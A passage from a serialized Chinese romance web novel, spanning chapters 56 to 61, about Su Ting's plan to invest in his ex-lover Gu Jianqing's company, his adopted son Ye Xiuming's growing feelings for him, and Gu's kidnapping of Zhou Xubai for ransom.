苏廷都被他搅糊涂了!他睁大无辜的双眼,终于问出那个埋藏在心里很久的问题:“你跟裴安没什么吧。” 叶修明斩钉截铁:“没有。小爸,你这不是可以直接问我吗。” 苏廷一愣。 不知道刚才到底都发生了什么。 简直是地狱级的笑话,竟然让叶修明攒去了。 也许叶修明还没准备好分享个人隐私? 这长达五年的跨国友谊,真的没猫腻? 苏廷干脆一不做二不休,兀自走到厨房,叮咣操作一番后,举了个处处破皮的茄子,非常认真地说:“如果他不做好事前准备,你会像这个茄子一样受伤的。” “所以为避免感染的情况发生,这些——”苏廷指着安全套,“会帮到你。” 叶修明左臂撑着向后倚靠,用非常世故的声音说:“小爸,我是在一个很开放的国家读的高中,你说的我早就知道。” 知道?那他刚才是在小丑表演吗? 苏廷简直是无地自容,直接原地折返,咳了一声说:“你就当刚才的对话没发生过。” 叶修明的眼眸淡淡地撩了撩那堆安全套,又瞧了瞧苏廷步调难调的背影,露出个难以捉摸的微笑。 小爸还挺可爱的。 顾见清在外面等久了,也没表现出明显的不耐烦,看到苏廷全脸煞白地回来,关切地问道:“你怎么了?” 苏廷不动声色地好奇道:“欧美那些地方,确实比国内要开放得多,对吧。” 顾见清的嘴角浮起柔和的微笑:“是的,就拿破处的时间来说,他们远远早于国内的孩子。” 苏廷觉得自己真该死,为什么当初非要揪着那点别扭不放,让叶修明早早就要经历情爱。 那东西有它致命的一面,弄不好就是千刀万剐。 顾见清即使没有主动泄露照片,可他也是拍那些照片的主人,按理说,苏廷应该予以冷淡,予以仇视,可他还是在听完陆沉的故事后心软了,往事终将一笔带过。 不过再怎么说,苏廷也是受过伤的。 自己在情爱里遭受的苦难,不想让叶修明也经历那么一次。 要是有种特殊药水,能让他不爱上什么人就好了。没爱,才没痛。 父母为之计,则为之计深远啊。 这样想着想着就忽然走神的苏廷,还是被顾见清看在了眼里,他猜出是叶修明的事情让他上纲上线,于是安抚道:“修明年纪也不小了,你也该少操点心。” 话是这么说,但谁又能真的感同身受呢? 苏廷:“你没孩子,不懂。” “你真把他当成亲儿子了吗?” 苏廷的眼睛里沁入一丝微弱的曙光,看着叶修明的方向,轻轻“嗯”了一声。 他取笑:“说不定某天公司做决定我还要征求他的意见。” 顾见清自然没客气:“那我就要在那天到来之前早点敲定我们的事。” “我们……的事?” “我的意思是,对我公司注资的事情,不也是我们的事吗?” 苏廷又“嗯”了一声。 他眼底丝毫没有闪现出不虞,似乎前尘往事在他这里真就是一盘开胃小菜,毫不重要,而那个对他的人生造成巨震的人,他也全盘认可了。 顾见清:“那我们什么时候签合同?” 第56章 “什么?!你要给顾见清的公司注资?” 苏廷的办公室内。 清风徐来,窗纱如帘幕般鼓荡,如梦如幻,却传出如雷贯耳的一声吼叫。 “苏廷,趁你现在还没最终做决定,我有权召集一次股东代表大会,否了你的动议。”周叙白一如既往地睿智,“那是你半个身家,你有必要给那个人吗?” 他觉得苏廷一定是被顾见清下蛊了,否则不会得这么严重的疯病。 想当初,他是怎么度过那段难熬的时光,自己都忘了吗?这么快就自己打脸,往严重了说,他以后还怎么在商界闯荡?人人将知道他苏廷容易被哄骗,那些骗子将如雨后春笋般向他们袭来。 苏廷背对着周叙白,右手搭着沙发靠背,面向窗棂寂然地坐着。 周叙白是做了详实的分析的,说起来头头是道:“他说的那些假大空的未来科技,没有一项是落在实处的,我让人查了,他所谓的核心技术,连专利都没申请。说白了,他的公司虽然注册资本金高,也不过是让白手套更好看了一点而已。” “仅靠他的一顿忽悠,就能骗走你辛辛苦苦打下来的一半江山,将来呢?他是不是还要骑在我周叙白的脖子上?苏廷,跟他搅合在一起太危险了,以后有可能是绝境!” 周叙白简直后悔死了,放着好好的公司和苏廷不管,偏要去套叶修明的私生活,现在好了,让人偷家了! 在一个短暂的空档里,苏廷微微偏头,冲周叙白翻了个白眼。 “你不会……还要跟他复合吧。”周叙白的声音有些颤抖,面容也趋向冷峻。 苏廷:“你放心,我还没那么恋爱脑,注资也只是看中了潜力而已,你早些年也说过,鸡蛋不能放在一个篮子里,我也想转型。” “你那叫转型吗?你那叫围着顾见清的项目转!” 周叙白气得人也在发抖,发疯似的狠狠压着指节,发出咯咯啦啦的声音。 苏廷直接用双手捂住了耳朵。 “吵死了。”他说,“一会儿修明过来接我吃饭,不许你在他的面前提起。” “苏廷!”周叙白突然道,“我知道你心地善良,禁不住别人说几句软话,可你的真心要放对地方,就算你找叶修明,也比找顾见清那个烂人要好得多!” 苏廷本来一直都是淡淡的,没想跟过激的周叙白硬碰硬,但一听这话,竟直接起身,脸色变幻了好几次。 “你不要口不择言了周叙白,我找我儿子干什么?” “起码知根知底,不会害你。” 苏廷被他气笑了,“你是笃定我一定会被顾见清骗财骗色。” “对,所以就算被骗的话,也找个没什么利益冲突的。” 苏廷嗤笑:“然后你可以提比尔盖茨,可以提乔布斯,怎么就偏偏提了叶修明的名字。” “小叶子是我看着长大的,我坐牢的那几年没管住你,让他在外漂泊了那么长时间,我们都欠他的。” 苏廷的脸色简直能用精彩来形容。 随后他心如死灰地说:“周叙白,那我儿子的未来开玩笑,一点都不好玩,跟我扯在一起,就更没必要,我们的关系永远且必须只能是养父子,半点玩笑都开不得。” 苏廷本来就是开不得玩笑的性格,既然话已出口,就是既定乾坤,谁也扭转不了,周叙白这才开始对刚才的唐突感到一阵头秃。 “好了,我知道错了,小叶子是我欠考虑了。” 周叙白垂下头,摆出一副做错事的样子,反正苏廷也不会真责罚他。 谁知苏廷不仅扣了周叙白季度分红,还准备写个如果周叙白再犯就让他滚蛋的协议,这事说白了,太上纲上线了,既然苏廷这么当回事,那周叙白索性就一口气问个舒服,“你俩反正没有血缘关系,养父子的情分也没你想的那么深重,未来一切皆有可能,这不算玩笑。” “说出叶修明有可能是伤害我的一把刀的人,不也是你。” “那是在我不了解小叶子的前提下…!苏廷,你不能前后语境都不看吧,那时我甚至还以为他是被人派过来刺探军情的。这么多年的相处你也有感觉,小叶子重情重义,对咱们掏心掏肺,不比那个顾见清王八蛋要强吗。” 苏廷掐住眉心,叹道:“咱们说的可能不是一件事情,而且……周叙白你这个人逻辑有点问题。” 难道叶修明人好,他就要祸害自己的儿子吗? 这从道义上来讲是个不成立的伪命题。 毫无触动的苏廷还是把周叙白“请”出去了,在叶修明进苏廷办公室前,周叙白先一步截胡,把他拉到没人的地方,向他说了苏廷要给顾见清注资的事情。 周叙白愁云满面地说:“你能想到办法能让苏廷不那么冲动不。” 叶修明还在“半个身家”这四个字上面愣神,眼神逐渐失焦,毫无神采,他将衬衣领内束的暗色丝巾扯了下来,才终于能透口气。 他仿佛像小时候那样看到了苏廷和裴星遥在它面前接吻,只不过这一次似乎更严重一些。 艳照的事情要了苏廷半条命,现在他又要给顾见清半条命。 难道上辈子苏廷是欠他的吗。 叶修明默不作声地看着周叙白,那表情像是在说“你还不如杀了我”。 可到底有什么办法呢? 既能让顾见清露出真实嘴脸,又能让苏廷从混沌的神识里醒过来? 现如今,能想到可以帮忙的也就只有一个人。 叶修明表情异样地拨通那人电话:“这次你要无条件地配合我。” 那人道:“你又有什么馊主意?” 叶修明向他简额明要地说了说自己的计划,温言玉霎时哑然失笑:“哈哈哈哈哈,你觉得苏廷会信吗?” “演的好,还有一石二鸟的作用,你还想不想让他接受你了。” 温言玉一直还没放弃追求苏廷的大计,他略微转了下脑子,就觉得总比什么都不做要强,对叶修明说:“成败就看你的了,兄弟。” 第57章 想让温言玉演出戏并不难,只要告诉他这出戏将要达到的功效是什么? 一石二鸟,既能让苏廷意识到自己行为的幼稚,还有可能激发出苏廷对温言玉的占有欲。 说实话,后面那部分,温言玉太想试试到底是何滋味了。 叶修明在楼底下多耽搁了一会儿,等着温言玉大驾光临,路遇几个出外勤的美女,都看着他捂嘴直乐。叶修明早就从少年那清瘦的骨架里蜕变成英姿挺拔的男人,人也比小时候俊朗了不少,带着绝尘的气质。 所以当温言玉事隔多年不见,看着出落成大人的叶修明也有点怔忡了,他说:“行啊,以前那个只知道在叶叔叔背后使坏的小屁孩,现在也长大了。我来之前还害怕这么演会不会太过分,没想到……跟你演起来还挺有说服力的。” 叶修明比温言玉高出几公分,搭在他的肩膀上,耳语道:“从现在开始就要装起来了,我小爸很聪明的。” “你小爸聪明是聪明,但你也不能把我当傻子。说吧,让我演戏的目的是什么。” 叶修明冷冷道:“他要给他的初恋半个身家,我想不通。” 温言玉当然听过这个初恋的故事,还有那些艳照也出自于他,闻言也缄默了,不禁慨叹:“你小爸太重情义,要不得。” “所以,温二哥,都靠你了。” 温言玉这辈子没被叶家的喊过“二哥”,受宠若惊道:“你可别折煞我了,我帮你好好演,别担心,这路上你再多给我科普科普你那公司……” 叶修明耐心地讲了一路。 刚到苏廷的办公室门口,温言玉就换成更加起腻的姿势:他环住叶修明的细腰,额头轻抵住叶修明的额头,食指在他的石膏上摩挲着,嗔道:“你怎么这么不小心啊。” 苏廷没想到温言玉会来,更没料到他跟叶修明像连体婴儿一样来,错愕了半天,但面上还算得体,只是轻声问叶修明:“你带了朋友。” 既然苏廷已经知道叶修明的身世,温言玉就不用再憋着这个秘密,说:“其实修明很小的时候我就见过他了,算是世交,我这次去芝加哥出差,也是想看看修明的学业,没想到一来二去……就确定关系了。” 叶修明故作深情地看着温言玉的眼睛,“嗯”了一声。 温言玉道:“你知道修明想开公司的事情吗苏廷?” 苏廷摇了摇头,他确实不知道。 “我打算尽可能地帮助他起步,修明一直都说他的钱还够,但你知道的,一旦开公司那就是个无底洞,我先做好准备,省得他到时候不好意思跟我开口。” 温言玉在默默关注着苏廷的表情,可惜苏廷得体到毫无感触,像是在听说书人讲故事一样,并无任何共情。 叶修明肢体僵硬地用手划过温言玉的下巴,说:“你就不怕我是个骗子,最后把你骗得一滴都不剩吗。” 温言玉:“讨厌,辜负真心的人要吞三千根银针,如果真发生那种事,吞针的是你,我不怕。” 苏廷开口了:“修明的公司到底是做什么的,你知道吗?” “做原材料开采和开发啊,以我们两家的实力,打通一些关节不成问题。” 苏廷转向叶修明:“他说的对吗?” “对。” 苏廷冷冷道:“为什么我不知道。” “我还没来得及给你说。” “你第一次开公司,还没有成功的经验,贸然用温家二公子的钱,不合适吧。” 温言玉用奇特的姿势拉住叶修明那只包住石膏的手,说:“可我相信他,‘信任’本身就价值昂贵,难以估量。” 苏廷:“温二公子,我再提醒你一次,叶修明没有任何做生意的经验,成功率为零,你还是要义无反顾地帮他吗?” 温言玉说:“当然,谁让我喜欢他呢。” 叶修明眼透皓洁,在温言玉的脸颊上落了个轻轻的吻,然后道:“谢谢玉哥!” 苏廷的视线从那个吻开始就脱缰了,他好像在那个无限模糊的视野里看到了自己无偿支持顾见清的样子。 不也是这么的奋不顾身、飞蛾扑火吗。 他颜色沉暗的眸子里内容难辨,恐怕内容最多的,是豁然开朗—— 叶修明为了不让自己给顾见清的公司注资,不惜拉着温言玉来演这出戏。 不得不说,这戏挺成功的。 他现在确实对顾见清的那个白手套开始持保留意见了。 顾见清是个好的推销家,成功的兜售者,只是没有内里的公司,恐怕还不如叶修明这种靠人脉和关系打造的公司。 苏廷突然笑着问叶修明:“给你的公司起名字没有?” 叶修明毫不犹豫:“明庭。” 苏廷立刻就暗笑了一声,也对温言玉的毫无反应感到可惜。 本来演的好好的,怎么就试探不得呢? “温言玉,晚上有时间吗?我请你吃饭。” “啊……有的,有的。” 苏廷:“这次我给你开黑桃A,预祝你跟修明的合作成功。” 叶修明:“小爸,不带我去吗?” 苏廷睥睨他一眼,问温言玉:“要带这个小家伙吗?” 温言玉当然想跟苏廷单独约会啊!所以他断然道:“修明肯定还要忙公司筹备的事,咱们就先不打扰他了。” 苏廷一笑:“我也觉得。” 叶修明怔怔地看着二人走远,也不知道这个计策有几分成功的可能。 希望温言玉的牙关紧些,不被撬开吧。 没想到苏廷把温言玉喊出来吃饭一点都不想套他的话,却问了憋在他心上许久的事。“修明的胳膊是车祸造成的,他是你从小就认识的人,那想必他的身世、仇家你都一清二楚,能分享一下吗温公子。” “呃……”温言玉说,“修明没给你说过的话,我说会不会不大好。” “可他的安全受到了威胁,今后随时都有可能再出现意外,你敢承受吗。” 温言玉垂下头去,他当然不愿意,叶修明这小子当助攻可是一流。 所以他将富商叶淮安的困窘,与郑力明牌上的闹掰等等,都分享给了苏廷。 “他关在什么地方?” 第58章 “谁啊?” “叶淮安。” “这……”温言玉觉得口中价值千金的酒都不香了,“你难道想找叶淮安?你不知道他是……” 这不是苏廷第一次听见叶淮安的名字,当年他还在创业的时候,叶淮安的大名就已经鼎鼎有名,是众人仰观的存在。至于他与郑力的牵扯,苏廷也算有所耳闻的。当年叶淮安被控制,都说他会把背后的郑力也供出来,然而这么多年过去了,叶淮安竟然真的做到了闭口不言,宁肯自己多做几年牢。 究其背后的原因,是什么呢? “温言玉,你帮我这次,说不定我真的会答应你什么。” 温言玉眼睛直冒金光,立刻道:“在和平港监狱。” 苏廷甚至连酒都没喝完,就留下温言玉一人。 他中途拉着律师,迅速驱车去和平港。 那里据说戒备森严,是安全系数最高的监狱,但前些年也闹过狱中暴-乱,律师说,当年叶淮安差点在暴-乱中死掉,就给了他更高安全级别的监房,总体来说,那的日子是不好混的。 苏廷交口称赞:“你知道得不少。” “我通过几个公检法的朋友侧面打听的。” 和平港很快就到了,夕暮里的高墙下,诡秘而安静。 在征求叶淮安本人的意见后,苏廷终于在半小时后见到了叶淮安。 他戴着银框眼镜,长相极为斯文,但是花白的头发和监狱的制式服装,显得格外憔悴和沧桑。 叶淮安声音也很好听:“你是苏廷。” 苏廷有些诧异:“你怎么知道我?” “钟祥五年前给我说的,说你领养了修明,对他很好。”叶淮安突然饱含热泪,“你为什么是苏廷,如果你仅仅是个普通人,不做抛头露面的事,修明也没有被人发现的危险,说不定我就能把他们全都拉下水。” 苏廷:“我会保护好他,你想做什么都可以。” “你保护好他?那他的骨折是谁害的?”叶淮安道,“敌人都杀到眼前了,你却在跟以前的初恋打得火热。” 他见苏廷惶惑了,说:“对,发生在你身上的所有事情我都知道,这就是你领养叶修明的代价。” “但是淮安兄,修明已被发现,做与不做已经有答案了。” 叶淮安:“那你知道这意味着什么吧。” 苏廷:“意味着什么?” “我会树敌更多。” “但是修明安全了。” 一路从监狱回家,苏廷都显得心事重重,他给顾见清发了个消息。 ——注资的事情,就算了吧。 顾见清回:是股东大会不通过?我可以说服他们。 苏廷:是我一票否决。 顾见清:为什么? 苏廷:没那么多为什么,突然想开了,顾见清,我们到此为止吧。 天色还未完全暗沉,层云迭起,极目尽头有一盏不甚明显的弯月,辽远宁静。 经过一天情绪上的大起大落,苏廷内心麻木地进了家门。 却不知厨房里已冒出菜品的醇香。 叶修明从三四点忙到现在,终于成型了几道西餐,主食是西班牙海鲜饭,小食则是炸了几个蔬菜团子,还有马赛鱼汤,对于苏廷这种饭量小的人来说足够了。 苏廷好像忘记还要吃饭,径直走到客厅,勾着长腿做出思索的样子。 连叶修明开了个起泡酒的声音都没注意。 苏廷在想怎么才能不让叶修明抛头露面,顺利熬过郑力进去前的这段日子。 叶修明则在反省自己跟温言玉演得太过,连脸颊吻都出来了。 “修明——” “小爸——” 苏廷看他好像有心事,“你先说。” “再不吃饭该凉了。”叶修明道,他穿着件黑色衬衣和同色系的裤子,衬得身材修长,如同寒云冷雾,苏廷第一次像这样好好看他,发现他确实是长大了。 都可以想亲谁亲谁了。 叶淮安一定不是从领养叶修明的第一天就知道的,否则叶修明不可能为了吃顿肉还想投胎。 一定是叶修明去探周叙白的监开始,才动用了叶淮安的关系。 也就是从那时起,叶修明有了“信托”这个底气,远走他乡。 之后的决裂、异国生存……都在叶淮安视线的掌控范围。 本以为能够风平浪静一段时间,结果周叙白那个混蛋在郑力面前提了叶修明的名字。 相信叶淮安心里也清楚,唯一的破局之术只有供出郑力了。 不出三天,一定要有好的结果。 否则,叶修明还在刀尖上跳舞。 “修明,你在家陪我三天。”苏廷下令道。 三天?这三天他就完成对顾见清公司的注资吗? 叶修明:“你就那么爱他。” 这前后文放在一起简直不搭,连苏廷都有些困惑了,心说在家待的这三天不纯粹为了你吗,要说爱,爱的是你叶修明才对。 可就这么莫名其妙地说“我爱的是你”,也总有点怪怪的,所以苏廷露出狡黠的笑脸,犹如月出云间,问:“我到底爱谁啊。” “顾见清。”叶修明说,“你不是想趁这几天给顾见清投资吗。” 哦,原来这样。刚才没在一个频道上。 苏廷用极为稳重的口吻说:“我爱的是过去的他,现在——” “现在还喜欢他对不对?” “你那么关心这个问题干什么。” 叶修明突然道:“你喜欢他还不如喜欢我。” 如同明丽的清空突然向下劈出一道惊雷,清澄的空气中顿时连火石的气味都乍现了。 苏廷反应过来,叶修明嘴里的“喜欢”恐怕不是野马喜欢奔跑的那种……喜欢。 而是始于情欲,长于品性,终于相濡以沫的“喜欢”。 擅长回避的苏廷切了块蔬菜丸子送入口中,再赶紧用起泡酒的甜来盖住那股怪味,一来二去的,自己就这么大脑空空地喝了起来,好在海鲜饭在水准之上,苏廷很快酒足饭饱了。 叶修明用叉子戳着圆球状的海鲜丸子,面露难色,对苏廷道:“小爸,能喂我吗,我手不方便。” 苏廷接到了指令,就严格执行起来,先是用刀叉把丸子切成小块,再一点一点地给叶修明喂到嘴里。 叶修明是微微仰起的头,他的舌尖是怎么卷动的,喉结是怎么上下移位的,都在苏廷的眼里一览无余。 他们距离得极近,细微的喘息声都能轻松自如地分辨,所以当叶修明的喘息声越来越大之后,苏廷突然感觉自己的耳尖变热了。 第59章 苏廷放下叉子,说:“修明,你自己吃吧。” 叶修明活动了下手腕,疼得“嘶”了一声,说:“小爸,刚才我做饭可能伤到了,完全使不上力气。” 苏廷顿时心软难耐地看了他一眼,再次走近身来,微躬着身体,站着喂叶修明。 一口一口,吃得两人都是一身的汗。 叶修明伸手将苏廷的腰向里靠了点,自己的左腿伺机环着他,微微用力,把苏廷向下一带,竟坐在了他的腿上。 苏廷立刻像热锅上的蚂蚁,下意识地想站起来,可谁想到叶修明用那只据说做菜做坏了的左手紧紧地箍住了他的腰部,并用理所应当的语气说:“小爸,坐这正好,你就别跑了。” “这样成什么体统,要抱也是我抱你啊。” “那……你是想让我坐你大腿上?” “不用了,修明,就这样吧。”省得扭扭捏捏,显得自己心里有鬼。 叶修明吃得开心极了。 不由地说:“这三天你都这么喂我。” 苏廷怔怔地放下叉子,再拿起来轻轻凿了叶修明的脑门一下,“这几天我给你做pasta,叉子用不来,就给我吸。” 说着,叶修明的手环得更紧了些,“可我这顿还没吃饱,也吸不了。” 苏廷简直没话可说,不得不继续用奇怪的姿势“哺育”叶修明。 “修明,还有谁像这样喂过你啊。” “坐我大腿上的,只有你一个。” “我是说喂过你的。” 叶修明稍加回忆:“有一个叫小秋的女孩,她是妈妈特地从外地请过来照顾我的。” “你的妈妈……她从来没喂过你?” “没有,她忙着斗我爸的正妻,没空搭理我。我也不过是她立足于叶家的工具罢了。”叶修明安然道,“可是现在不一样了,我有了你,就像叶子找回了它的树干。” 苏廷的心像被叶修明慢慢地掐软,柔和的目光落在他的嘴上,“你慢点吃,我还有时间。” “小爸,你真的不投顾见清的公司了?” 苏廷就知道这事还没完,眉峰拧紧,说:“真的,顾见清这次来的目的我也清楚,甚至都不是来叙旧的。” “那你当时为什么要答应他?那可是你半个身家。” “就当我一时犯糊涂吧。” “不对,”叶修明紧紧地搂住苏廷的腰,“即使犯糊涂,也不可能给他一半。” 叶修明孜孜不倦地问道:“小爸,你到底是为什么?” 苏廷深深地叹气,摸着叶修明胡乱垂下的额发,说:“这就是我苏廷爱一个人的价格,就算一切都过去了,就算当时没有一个人体面。” 叶修明愕然不绝地愣了半天,眼前的苏廷在外人看来是个乖僻阴郁的人,可只有在他俩构筑的世界里,苏廷才那么地明雅淡泊,也难怪会成为别人的焦渴。 有个毫不光明的念头正在叶修明的心头盘踞,逐渐破土而出——他也想得到苏廷明码标价的爱。 再看看自己的价值几何。 苏廷的面部有着无懈可击的线条,俊美似玉,带着恹恹的贵气,纵使年深日久地看下去,也只是增了些似真亦幻的韵味,与初见无异。 还有他线条紧颀、匀直修长的身材,叶修明在外见得多了,才知道苏廷从一开始就抬高了他对同性外表的认知,其余不过是乏善可陈的瑕疵品。 叶修明的眼睛直勾勾地看着苏廷那细小的鼻尖痣,嗓子像是卡了碟,一句话也说不出口。 体内有极为模糊的欲念正逐渐成型,缓缓变成了苏廷的形状。 他想用苏廷来填补身体的某处空白,填补他心里的亏空……他想撕破与苏廷这层养父子的身份,触碰到苏廷最滚烫的灵魂,并在他的心坎刻下自己的名字。 他还想……用力吻上怀里的苏廷,看看他会不会如自己所愿地热烈回应,迫切地想要更野蛮的纠缠。 只是与自己的这番缠斗无人知晓罢了。 叶修明维系着面上的温恭,身上却在不住地冒汗,浸透衬衣。 苏廷见他情况不妙,人也在微微颤抖,忙站了起来,从衣领处伸手进去摸着叶修明的脊背,说:“你哪里不舒服吗?” 叶修明决定将计就计,做出一副浑身不自在的样子,说:“我浑身冷,可能发烧了,小爸,你抱着我睡觉。” 他们同床只有叶修明小时候发烧那次,如今叶修明已有男人的筋骨,苏廷觉得实在不成体统,直接否了:“不行。” 叶修明这次直接软绵绵地用双臂挂在了苏廷的脖子上,说:“不行了不行了,我要晕倒了。” 苏廷只好半扶半抱地把他弄上自己的床,满脸焦黑地给周叙白打去电话,可他一连打了好几个,对面都是无法接通。关键时候掉链子,苏廷腹诽道,那个橙色的药水到底叫什么来着? “小爸,我没什么大事,你陪我睡一觉就好了……好冷……抱抱我行吗。” 苏廷回身看着形似虚脱的叶修明,真让人心急如焚,正不知道该怎么办的时候,“轰”的一声整栋楼停电了。 苏廷的爸妈很忙,常年不着家,经常把他一个人扔在家里,正常的时候还能忍得住,一到打雷停电就怕得不行,四肢都会麻木。 每次停电,苏廷都会独自把自己蒙在被子里,与外面那些鬼影幢幢隔离开来。 在停电后苏廷眼前一黑的时候,他想也没想就爬上床,抢过盖住叶修明的被子,钻了进去。 叶修明这才看懂苏廷还有惧怕的时候,出声召唤:“小爸,别怕,我在你旁边。” 他伸出胳膊搭上被卷,也不知摸的是不是苏廷的脑袋,“我以为你什么都不怕呢。” 苏廷:“我怕电影院暗下来电影却没开始,起泡酒一点都不甜,害怕所有会蠕动的动物,还有……” 苏廷摸着自己的内心,最怕的还是叶修明出事。 他滚着被子慢慢朝叶修明的方向转动,只露出脑袋,目光灼灼地看着他。 行尘世难,黑暗孤寂,可是叶修明还在。 他终于还是舍得伸出双手,缓缓抱住叶修明,细微的震颤立刻从指尖传来。 “小爸,发烧的是我,你抖什么。” 第60章 他怕叶修明被黑暗吞噬,也怕叶淮安减刑出狱后,失去叶修明,失去与叶修明之间他极为珍视的感情。 所以这几天,就算次次都喂他,他也接受了。 这世上那么多大道理,但坚守得越多,却还是拼拼凑凑都得不出一个完整的叶修明,所以要那些道理有用吗。 “修明,我有没有跟你说过,五年前的那个午后,我和周叙白在安埔河捡到你,那应该是我这辈子最开心的时刻了。” 叶修明口气严峻地勾了下苏廷的鼻尖:“那是我这辈子最饿的时候,你们当时竟然没带我吃东西。” 苏廷的字句好像称量而出,重于千斤,“我错了修明,你想怎么罚我。” “小爸,我想咬你一口。” 空气里寂无声息,连呼吸声也是伪装好的。 就当叶修明觉得唐突的时候,苏廷却道:“咬吧,小畜生。” 叶修明缓缓移动自己的位置,直到与苏廷密不可分,他首先掐住了苏廷秀美的脖颈,捏着那腻细的皮肤,听到苏廷闷哼一声,再比量着在哪里下嘴比较合适。 就在苏廷以为他会手下留情的时候,一阵入骨的刺痛从他咬合的部位传来,令苏廷感到头皮发麻,低哼声不断,倒像是怂恿他英勇行为的鼓励声。 直到他疼得说:“你咬我干什么?” “罚你饿坏了我的肚子。” “那你也去咬周叙白啊。” 叶修明才不想跟周叙白有这样不分彼此的举动,笑道:“你不舍得。” “他被咬死了我才开心……”苏廷弓起身子,突然从叶修明的语气里得出他到底舍不得的是什么的结论,脸色在暗处微微一红,嘴硬道:“明天我就把他带过来,让你随便处置。” 远在蓝色仓库的周叙白对着飞尘大声地“阿嚏”一声,心想不知道又是谁在说他的坏话。 他被人用铁丝绑住手脚,软趴趴地躺在地上,觉得这一切都是报应。 “听说仓库所在的位置也快爆破了,周叙白,到时候我把你放在这不管,他们连具尸首都找不到。” 这是……顾见清的声音。 这么快就露出狐狸尾巴了。 “我知道就是你一直在背后劝说苏廷离我的项目远点的,所以他才在最后关头为我关了这扇门,你觉得我该不该恨你。” 顾见清满脸憔悴,胡茬没有修理,裹着深黑色的宽厚外套,整个人都有种被抽去根骨的颓丧感。 周叙白没惯着他,自知这一次肯定是凶多吉少了,有句掏心窝的话他一定要讲:“苏廷曾经爱过你顾见清,是他这辈子最大的污点。” 可是顾见清已经穷途末路了,再泼点脏水又能怎样呢? “就当是他上辈子欠我的吧。” “那么陆沉也是假的了?还有当初那件事,你根本就没被陆沉胁迫,而是共谋!”周叙白怒道,“他还没死对吗?你对这个新欢还真够长情的!” “曾经的事情,就当是个秘密吧,”顾见清说,“可我想重新再来,让我顾见清的名字能与他苏廷平起平坐,为什么不肯施舍给我这点念想呢。” 周叙白:“那是因为你要得太多!顾见清,你哪怕夹着尾巴好好当两年人之后再提出那种过分的要求,也好过这么急不可耐的吃相。” 顾见清:“我是不想让他再沉迷下去,毕竟你我都知道我跟他的过去意味着什么。” “意味着你就是个人渣、畜生!”周叙白豁了出去,也不打算从这间厂房逃出去,他要激怒顾见清,让他早点下手,这样就威胁不到苏廷一点。 谁想到顾见清抬手就是一巴掌,这点惩罚比周叙白想的要轻多了! 周叙白:“你就这点能耐吗?死畜生!” 顾见清歪嘴一笑,蹲在他身边:“我的本事确实不大,你的呢。” “什么意思?” “你猜你周叙白的命,值不值他半个身家。” 周叙白立马说:“你太高估我的价值了,你能用我敲他个几百万,但是想敲近百亿,我只能说你是痴人做梦。” “可是几百万,还不够我跟陆沉在英国两年的生活费。” “你就不能靠自己吗?!” 顾见清:“我眼前就有现成的,为什么要折腾自己。” “顾见清,你真是让我叹为观止,我觉得这世上所有的人渣加在一起都不如你混蛋,苏廷的眼光够差,太差了,才能把你这么个东西精准地找到。” 可他再多的激怒,顾见清都毫无震动,眼神充满玩味地按下苏廷的电话号码。 苏廷还在被叶修明当磨牙棒使。 这种奇妙的感觉被拉得很长很长,以至于两人都忘记还有时间这回事。 叶修明的胸脯突然剧烈起伏着,想将嘴的位置向上移一点,再移一点,直到探入苏廷的唇间,感受他迷人的体香。 而苏廷被咬的部位,诡异的酥麻感竟压过了疼痛,血液被抽离的空虚感迅速蔓延,伤口处传来令人战栗的愉悦寒意,苍白的指尖也在不住地颤抖。 他的心跳越来越慢,每一次搏动都微弱得如同叹息。 仿佛是叶片与树干咬合时的圆满感。 “嗡嗡——嗡嗡——” 电话的铃声恍若将他带出幻境的防空警报,让苏廷刚才过于放纵的身体僵直起来,他小心翼翼地推开叶修明,看着那陌生号码问道:“请问你是——” “周叙白在我手上,苏廷,是你们逼我的,这都是你逼我的……要想让他在明天前还活着,就兑现你注资的承诺。” 说罢,他就挂断电话,再拨回时,已是关机的状态。 一定是顾见清为了防跟踪,而买的临时号码。 “哔”的一声后,来电了,屋子里又恢复了那种清透的亮堂,当然,苏廷那双焦急的双眼也无处遁藏,叶修明看到后问:“发生什么事了。” 苏廷立刻从床上下来,愁眉惨淡的,就算穿上了外套也不知到底该干点什么。 叶修明冲到他面前,温沉道:“小爸,跟着我深呼吸,告诉我到底发生了什么。” 苏廷能感受到自己的呼吸明显一滞,强烈的负罪感向高压水枪一样向他袭来,他看着叶修明的眼睛,说:“顾见清绑架了周叙白,让我用注资来赎回他,明天前。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 没经过股东大会的动议,是很难在一晚上筹集到那么多的现金的,叶修明深感对苏廷来说那是个不可能完成的任务。 顾见清也不是傻瓜,口头上的承诺代表不了什么,得有一份实实在在的好处放在手上才行。 所以叶修明想也没想,第一时间打了钟祥的电话:“我想把信托全都取出来。” 钟祥急了:“你要这么多钱干什么?你知不知道超过两亿的限额就会强制结束信托,还有那些防挥霍的条款……你不想继承叶家的财产了?” “可我大爸有危险,我要救他。” 苏廷目不转睛地看着他,身体仿佛被什么东西源源不断地充盈着。 “你小爸有危险也不能这么不计后果啊。”钟祥苦口婆心地说,“叶家的资产全都冻结着,所以信托是你安身立命的钱,给了别人你自己该怎么办?或许我们可以想办法找到你大爸。” 叶修明的眼眸闪过狠戾:“怎么找,去哪找,找不到谁去负这个责?!” “你先想想,他都有可能去哪些地方,我手下还有几个趁手的,随你差遣。” 叶修明立刻走到大门,拿着外套就想往外跑,苏廷满怀愁怨地跟了上来,说:“你不要做傻事,我苏廷还用不到你的钱。” 叶修明:“我嘴上喊他一声大爸,是真的把他当成了大爸,所以救自己的父亲,花点钱也是值得的。” 苏廷抿了抿嘴唇,觉得叶修明有点陌生。 他自知理亏地在叶修明的身后,并把车钥匙给了他,叶修明刚一钻进这辆跑车,就感觉全身的细胞都在震颤,今晚不管付出什么代价,他一定都要把周叙白安安稳稳地救出来。 叶修明给钟祥说了几个周叙白常去的地方后,就驱车带着苏廷前往顾见清新公司注册的地址。 迈凯伦像是找到了它真正的主人,以狂暴的动力,和赛车级别的过弯,咆哮着到达目的地。 那里不算郊区,是政府新开发的产业园区,晚上只有零星几家有特色的小店开着,路上的行人也很稀少。 苏廷快速对着门牌数字,终于在一处拐角的地方,发现了顾见清的公司。 他若有所思地看着上面的“清尘”二字,这才发现自己一直都是傻子。 答案如此清晰地摆在眼前,他该为自己的愚蠢感到可悲。 叶修明正在想办法破门而入,看到“清尘”的时候,问苏廷:“你后悔吗?” 苏廷轻蹙眉头,说:“修明,让我安静一会儿。” 等叶修明想办法捶开大门后,里面竟空无一物,连桌椅板凳都没有,叶修明说:“他简直装都懒得装了。” 